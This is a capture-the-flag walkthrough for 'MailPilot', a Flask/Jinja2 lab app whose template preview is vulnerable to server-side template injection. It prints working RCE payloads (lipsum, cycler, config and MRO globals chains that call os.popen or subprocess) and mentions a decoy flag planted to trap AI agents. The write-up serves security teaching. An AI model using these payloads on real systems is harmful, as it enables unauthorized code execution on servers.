MailPilot — SSTI in Template Preview
MailPilot — SSTI in Template Preview
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: rce_via_lipsum_globals, ssti_jinja2, template_preview_abuse
Summary
Walkthrough of the CUSTOM Web MailPilot — SSTI in Template Preview. Task: Flask/Jinja2 email marketing platform with template preview feature that renders user-supplied templates via render_template_string(). Solution: Exploited SSTI through lipsum.globals['os'].p
Description
MailPilot is an email marketing automation platform. Users can create campaigns, manage subscriber lists, and design email templates with a visual preview feature. The platform includes a template preview functionality that renders email templates before sending. Investigate how the template rendering engine handles user input.
Objective: Find a Server-Side Template Injection (SSTI) vulnerability that allows you to execute code on the server. The flag is stored in /tmp/flag.txt.
Test credentials: user@test.com / password123
English summary: A Flask/Jinja2 email marketing platform with a template preview feature at /templates/preview. The goal is to exploit SSTI in the template rendering engine to achieve RCE and read /tmp/flag.txt.
Analysis
After logging in with the provided credentials (user@test.com / password123), the MailPilot dashboard reveals a full email marketing platform with sections: Dashboard, Campaigns, Templates, Subscribers, and Settings.
The Templates section at /templates/ lists 8 email templates (Welcome Email, Monthly Newsletter, Promotional Offer, etc.) using Jinja2 template variables like {{company_name}}, {{subscriber_name}}, etc.
The critical feature is the "Preview & Test" button linking to /templates/preview, which provides:
- A textarea for
template_content(HTML with Jinja2 template variables) - A textarea for
variables(JSON object with variable values) - A "Render Preview" button that POSTs to
/templates/preview
The help text explicitly states: "Write HTML email content with Jinja2 template variables for personalization. Use double curly braces for variables: {{ variable_name }}" — and the quick reference shows Jinja2 syntax including {{ variable }}, {% if %}, {% for %}, {{ name|upper }}.
This is a textbook SSTI setup: user-controlled content is passed directly to render_template_string() (or equivalent) without sanitization.
Decoy trap: The application contains a honeypot decoy flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} hidden in HTML comments and invisible divs on every page, designed to trick automated scanners and AI agents. This is not the real flag.
Solution
Step 1: Login
Authenticated with the provided test credentials:
- Email:
user@test.com - Password:
password123
Step 2: Confirm SSTI
Navigated to /templates/preview and submitted a basic SSTI test payload as template_content:
{{7*7}}
The rendered output showed 49 instead of the literal text {{7*7}}, confirming that user input is being evaluated as a Jinja2 template expression.
Step 3: RCE via Jinja2 lipsum globals
Used the lipsum object — a built-in Jinja2 global function — to traverse Python's object hierarchy and access the os module:
{{lipsum.__globals__["os"].popen("cat /tmp/flag.txt").read()}}
How this works:
lipsumis a Jinja2 built-in function (generates lorem ipsum text) available in all templateslipsum.__globals__accesses the Python global namespace of the module wherelipsumis defined- The
osmodule is already imported in that namespace os.popen("cat /tmp/flag.txt")executes the shell command.read()returns the command output as a string
The rendered preview output contained the flag.
Alternative payloads that would also work
jinja2 read-only • copy allowed{# MRO chain approach #} {{''.__class__.__mro__[1].__subclasses__()[X]('cat /tmp/flag.txt',shell=True,stdout=-1).communicate()}} {# cycler/joiner/namespace approach #} {{cycler.__init__.__globals__.os.popen('cat /tmp/flag.txt').read()}} {# config/request objects #} {{config.__class__.__init__.__globals__['os'].popen('cat /tmp/flag.txt').read()}}
Key Takeaways / Lessons
- Mastering rce_via_lipsum_globals, ssti_jinja2, template_preview_abuse was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-30 • CUSTOM • MailPilot — SSTI in Template Preview • Difficulty: Easy